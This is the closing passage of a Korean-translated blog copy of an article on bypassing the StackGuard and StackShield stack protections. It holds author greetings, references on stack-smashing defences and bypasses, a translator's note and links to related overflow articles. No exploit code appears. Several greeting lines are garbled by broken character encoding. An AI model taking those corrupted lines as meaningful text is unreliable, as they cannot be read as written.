됐는지는 기억이 가물가물....)이 없는 하지만 비-실행 사용자 스택을 가지고 있는 슬랙웨어 리
눅스를 사용하고 있다. 하지만 StackGuard를 사용하는 RH 리눅스는 그러한 설정에서의 작
업을 거부한다. :)
----| 고마운 분들
A18 team, HERT, CocaCola, Raveheart ("Nelson Mengele..."위한 노래 만든 분들).
Nergal, mo풽 by?si?tak ujawni? ;)
Po raz kolejny chcialbym zaznaczyc, ze jestem tylko zwyczajnym Lam3rem.
- Kil3r
people I've been drinking with - because i've been drinking with you :)
people I'd like to drink with - because i will drink with you :)
people smarter than me - because you're better than I am
°假儺?길怨憎?/4 - for being wonderful iso-8859-2 characters
Lam3rz - alt.pe0p1e.with.sp311ing.pr0b1emZ :)
koralik - ... just because
- Bulba
----| References
[1] Crispin Cowan, Calton Pu, Dave Maier, Heather Hinton, Jonathan Walpole,
Peat Bakke, Steave Beattie, Aaron Grier, Perry Wagle and Qian Zhand.
StackGuard: Automatic Adaptive Detection and Prevention of Buffer-Overflow
Attacks http://www.immunix.org/documentation.html
[2] Crispin Cowan, Steve Beattie, Ryan Finnin Day, Calton Pu, Perry Wagle
and Erik Walthinsen. Protecting Systems from Stack Smashing Attacks with
StackGuard http://www.immunix.org/documentation.html
[3] Security Alert: StackGuard 1.21
http://www.immunix.org/downloads.html
[4] klog. The Frame Pointer Overwrite
http://www.phrack.com/search.phtml?view&article=p55-8
[5] Rafal Wojtczuk. Defeating Solar Designer's Non-executable Stack Patch
http://www.securityfocus.com/templates/archive.pike?list=1&date=1998-02-01&msg=199801301709.SAA12206@galera.icm.edu.pl
----| 저자의 글
이것은 Lam3rz 그룹에 지적 재산이 있다.
이글에 있는 지식은 모든 인류의 지적 재산이다. 이것을 이해하는 사람에는 특히.... :)
|EOF|-------------------------------------------------------------------------|
/* 역자의 글 */
허걱... 드디어 번역을 끝냈습니다. 번역이 정말 이샹야릇하게 되어 어땠는지 모르
겠네요. 번역이 이상한 부분있으면 저에게 연락주시고 이해가 안되는 부분에는 원
문을 참고하여 보면 더 잘이해 될겁니다. ^^; 여기까지 읽으주셔서 정말 감사합니다.
"Overflow" 카테고리의 다른 글
- Exploiting Non-adjacent Memory Spaces (Phrack M... (0)2007/04/13
- Frame Pointer Overwriting (0)2007/04/13
- Bypassing StackGuard and StackShield (0)2007/04/13
- File Descriptor Hijacking (0)2007/04/13
- [PDF] BufferOverflow (0)2006/12/17

수안이의 컴퓨터 연구실



Leave your greetings.